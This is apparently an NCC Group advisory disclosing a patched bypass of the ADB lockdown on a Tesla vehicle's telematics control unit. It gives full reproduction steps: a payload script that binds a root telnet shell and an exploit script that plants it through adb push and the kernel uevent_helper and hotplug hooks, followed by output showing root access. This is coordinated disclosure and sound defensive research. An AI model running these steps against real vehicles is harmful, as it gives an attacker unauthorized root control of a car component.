|
Vendor: Tesla |
|
Vendor URL: https://www.tesla.com/ |
|
Versions affected: Versions prior to 2025.14 (issue was tested on 2025.2.6) |
|
Systems Affected: TCU (Telematics Control Unit) |
|
Author: Alex Plaskett, McCaulay Hudson |
| Risk: Medium – Requires physical access to TCU but results in TCU root access |
Summary
Tesla's telematics control unit (TCU) was vulnerable to a bypass of the ADB lockdown logic implemented by Tesla, which is designed to prevent attackers from gaining shell access to production devices. We were able to exploit an arbitrary file write vulnerability to gain code execution in the context of root on the TCU.
This was tested on Tesla firmware version v12 (2025.2.6) with the following TCU version AG525RGLAAR01A16M4G_OCPU_03-016.21 from /etc/os-release :
ID = "tcu" NAME = "tcu" VERSION = "202501241607" VERSION_ID = "202501241607" PRETTY_NAME = "tcu 202501241607"
Impact
A physically present attacker could compromise the TCU on a Tesla vehicle and gain root access on it
Details
On the TCU there is a Micro USB port exposed externally on the casing:

An ADB connection can be made to the TCU by connecting a Micro USB to that port and the attacker's machine. The following udev rule needs to be created locally in /etc/udev/rules.d/51-android.rules :
SUBSYSTEM = ="usb", ATTR {idVendor}== "2c7c", ATTR{idProduct}=="0452", MODE="0666", GROUP="plugdev"
We can see the TCU shows up in adb devices :
alex@test:~/exploits$ adb devices List of devices attached 4ee97cb4 device
And the device listed in `lsusb`:
Bus 003 Device 006: ID 2c7c:0452 Quectel Wireless Solutions Co., Ltd. LTE-A Module
Tesla has attempted to lock down ADB access via the Micro USB port to prevent shell level access with adb shell :
alex@test:~/exploits$ adb shell error: closed
This can also be seen in the following code in the file /etc/launch_adbd retrieved from the TCU:
export TERM = linux sim_file = "/data/dummy_auth_enable" status_file = "/sys/class/qtee/secboot_state" if [ ! -f " $status_file " ] || [ -f " $sim_file " ]; then echo "launch_adb: status doesnt exist or sim file exists, locking down" > /dev/kmsg elif grep -q -s "auth_disable" " $status_file " ; then echo "launch_adb: auth_disabled" > /dev/kmsg lock_param = "--tesla_prod_unlock" else echo "launch_adb: auth_enabled, locking down" > /dev/kmsg fi if [ -f /etc/default/adbd ]; then . /etc/default/adbd fi echo -n "Launch adb is starting adbd (lockparam is $lock_param )... " > /dev/kmsg start-stop-daemon -S -b -a /sbin/adbd -- " $lock_param "
However, the lockdown logic does not prevent two critical features of ADB, these are:
- The ability to read and write files as **root** with `adb pull` and `adb push`.
- The ability to forward traffic through an ADB connection with `adb forward`.
By making use of this functionality, we can exploit these features in order to obtain a root shell on the TCU.
It should be noted that the adbd process on the TCU runs as root:
625 root 0:00 /sbin/adbd
Using adb pull to retrieve the file /sys/class/qtee/secboot_state confirms the presence of auth_enable .
Exploit Details
As the adbd process on the TCU runs as root, we have the ability to read and write files as root. However, due to partitions mounted as read-only, we are limited on what directories we can write files too:
bash-3.2# mount /dev/dm-0 on / type squashfs (ro,relatime,seclabel) devtmpfs on /dev type devtmpfs (rw,relatime,seclabel,size=142596k,nr_inodes=35649,mode=755) sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime,seclabel) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,seclabel) selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,seclabel,gid=5,mode=620,ptmxmode=000) tmpfs on /run type tmpfs (rw,nosuid,nodev,seclabel,mode=755) tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,seclabel,mode=755) cgroup2 on /sys/fs/cgroup/unified type cgroup2 (rw,nosuid,nodev,noexec,relatime) cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) cgroup on /sys/fs/cgroup/debug type cgroup (rw,nosuid,nodev,noexec,relatime,debug) tmpfs on /etc/machine-id type tmpfs (ro,seclabel,mode=755) fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime) mqueue on /dev/mqueue type mqueue (rw,relatime,seclabel) /dev/ubiblock1_0 on /firmware type squashfs (ro,relatime,seclabel) /dev/ubi2_0 on /usrdata type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /quecrw type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/bluetooth type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /data type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /systemrw type ubifs (rw,relatime,seclabel) configfs on /sys/kernel/config type configfs (rw,relatime) debugfs on /sys/kernel/debug type debugfs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/ipa_config.txt type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/mobileap_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/netmgr_config.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/iris/iris_platform_config.json type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /persist type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/mobileap_firewall.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/ipa/IPACM_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/wlan_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/l2tp_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/factory_mobileap_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/adb_devid type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/hosts type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/usb/boot_hsusb_comp type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/usb/softap_w_dun type ubifs (rw,relatime,seclabel) adb on /dev/usb-ffs/adb type functionfs (rw,relatime) tmpfs on /tmp type tmpfs (rw,nosuid,nodev,seclabel) tmpfs on /var/volatile type tmpfs (rw,relatime,rootcontext=system_u:object_r:var_t:s0,seclabel) /dev/ubi3_0 on /etc/tel.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/usb/boot_hsic_comp type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/adpl/adpl_config type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/dhcp_hosts type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/misc/wifi/hostapd-wlan1.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/ipa/factory_IPACM_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/iproute2/rt_tables type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/adpl/mhi_enable type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/misc/wifi/hostapd-wlan2.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/dnsmasq.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/misc/wifi/hostapd.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/dsi_config.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/misc/wifi/sta_mode_hostapd.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/factory_l2tp_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/misc/wifi/wpa_supplicant.conf type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/factory_mobileap_firewall.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/factory_wlan_cfg.xml type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/mbim_mode type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/mobileap_cfg.xsd type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/mux_mode type ubifs (rw,relatime,seclabel) /dev/ubi3_0 on /etc/data/tinyproxy.conf type ubifs (rw,relatime,seclabel) lxcfs on /data/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other) lxcfs on /quecrw/usrfs/data/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
Therefore, in order to turn the arbitrary file, write into code execution as root, we abused the uevent_helper / hotplug sysfs kernel subsystems.
For this, we first need to store a file on disk with executable permissions that we want to be executed, such as the telnetd.sh script.
Next, we write the filepath of the script we want to execute to /sys/kernel/uevent_helper or /proc/sys/kernel/hotplug as root. After an event occurs, the target script will be executed as root.
Note that adb preserves permissions across adb push allowing us to keep our script planted in /tmp/telnetd.sh marked as executable. Additionally, /tmp is not mounted with noexec feature.
Reproduction Steps
Put the following code into a local file named telnetd.sh which is the payload that will execute a telnetd server on the TCU:
#!/bin/sh touch /tmp/executed telnetd -l /bin/bash -p 2727 Put the following code into a local file named exploit.sh : # Upload telnet script to TCU chmod +x telnetd.sh adb push telnetd.sh /tmp/telnetd.sh # Write "/tmp/telnetd.sh" to uevent_helper and hotplug echo '/tmp/telnetd.sh' > t2.sh adb push t2.sh /sys/kernel/uevent_helper adb push t2.sh /proc/sys/kernel/hotplug # Trigger a uevent just by doing a file system read adb pull /etc/passwd # Setup the TCP port forward for port 2727 adb forward tcp:2727 tcp:2727 # Wait for telnetd to run sleep 3 # Connect to the telnet shell telnet 127.0.0.1 2727
After running exploit.sh you should end up with a root shell on the TCU:
telnetd.sh: 1 file pushed, 0 skipped. 0.5 MB/s (60 bytes in 0.000s ) t2.sh: 1 file pushed, 0 skipped. 0.2 MB/s (16 bytes in 0.000s ) t2.sh: 1 file pushed, 0 skipped. 0.2 MB/s (16 bytes in 0.000s ) /etc/passwd: 1 file pulled, 0 skipped. 0.0 MB/s (2007 bytes in 0.043s ) Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. tcu 1613 tesla bash-3.2# id uid = 0 ( root ) gid = 0 ( root ) context = u:r:kernel:s0
Patch Details
adb no longer listens on the Micro USB port and the TCU is no longer detected via USB.
The code in /etc/launch_adbd checks if it is a fused build and not a fa build, then locks down ADB:
if ! /usr/bin/is-not-fused ; then
if ! /usr/bin/is-fa-build ; then
echo -n "adb locked." > /dev/kmsg
exit 0
fi
fi
export TERM = linux
if [ -f /etc/default/adbd ]; then
. /etc/default/adbd
fi
echo -n "Launch adb is starting adbd... " > /dev/kmsg
start-stop-daemon -S -b -a /sbin/adbd
# Check first if the /etc/adb_devid already has an id saved from earlier boot up.
# If yes, retrive and use it for subsequent boot ups to show in 'adb devices'
if [ -s "/etc/adb_devid" ]
then
cat /etc/adb_devid > /sys/class/android_usb/android0/iSerial
else
ret_val = ` cat /proc/cmdline | grep "androidboot.serialno" | wc -l `
if [ $ret_val -eq 1 ]
then
serial_no = ` cat /proc/cmdline | awk '{ for ( n=1; n<=NF; n++ ) if($n ~ "androidboot.serial") print $n }' | awk '{split($0,a, "=");print a[2]}'`
else
serial_no = ` cat /proc/sys/kernel/random/boot_id | cut -d- -f5 `
fi
echo $serial_no > /sys/class/android_usb/android0/iSerial
echo $serial_no > /etc/adb_devid
fi
sync
# If UDC is not set up set it up.
if [ -z /sys/kernel/config/usb_gadget/g1/UDC ]; then
udcname = ` ls -1 /sys/class/udc | head -n 1 `
echo $udcname > /sys/kernel/config/usb_gadget/g1/UDC
fi
echo -n "Started adbd. " > /dev/kmsg
exit 0
usr/bin/is-fa-build:
#!/bin/sh
exit 1
Vendor Communication
3rd March 2025 – Issue reported to Tesla
4th March 2025 – Tesla Acknowledge Vulnerability Report
24th April 2025 – Tesla Notifies NCC that 2025.14 contains a patch and is being rolled out
29th September 2025 – NCC Releases advisory
About NCC Group
NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.
September 2025
Alex Plaskett